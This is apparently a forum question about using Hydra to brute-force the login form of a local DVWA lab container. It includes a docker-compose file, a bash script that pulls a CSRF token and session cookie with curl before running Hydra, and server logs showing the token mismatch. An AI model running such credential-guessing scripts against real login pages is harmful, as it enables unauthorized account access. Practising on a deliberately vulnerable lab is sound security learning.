I'm learning how to use hydra, but I found a problem.
When I run the following script, I get a CSRF token error. Apparently, the problem is that the token received in CURL is different from the one in hydra.
Step by step:
I have created this docker-compose.yml file:
version: '3.8'
services:
web-dvwa:
container_name: dvwa
image: vulnerables/web-dvwa:latest
ports:
- 127.0.0.1:8001:80
And after that, I had installed hydra (Hydra v9.5-dev) and created a bash script:
#!/bin/bash
CSRF=$(curl -s -c dvwa.cookie "127.0.0.1:8001/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
hydra 127.0.0.1 -s 8001 \
-l admin -p password \
http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=${CSRF}:H=Cookie\: PHPSESSID=${SESSIONID}; security=weak:S=index.php" \
-vVd
This solution would work but I have got a CSRF token invalid error.
Error track (I think):
get CSRF and SESSIONID by CURL
run hydra
hydra: send a GET (changed CSRF form token)
hydra: send POST request
hydra: send recevied GET
dvwa | 192.168.32.1 - - [22/Dec/2022:07:19:27 +0000] "GET /login.php HTTP/1.1" 200 1937 "-" "curl/7.81.0"
dvwa | 192.168.32.1 - - [22/Dec/2022:07:19:27 +0000] "GET /login.php HTTP/1.0" 200 1898 "-" "Mozilla/5.0 (Hydra)"
dvwa | 192.168.32.1 - - [22/Dec/2022:07:19:27 +0000] "POST /login.php HTTP/1.0" 302 384 "-" "Mozilla/5.0 (Hydra)"
dvwa | 192.168.32.1 - - [22/Dec/2022:07:19:27 +0000] "GET /login.php HTTP/1.0" 200 1948 "-" "Mozilla/5.0 (Hydra)"
How to resolve this problem? Thank you!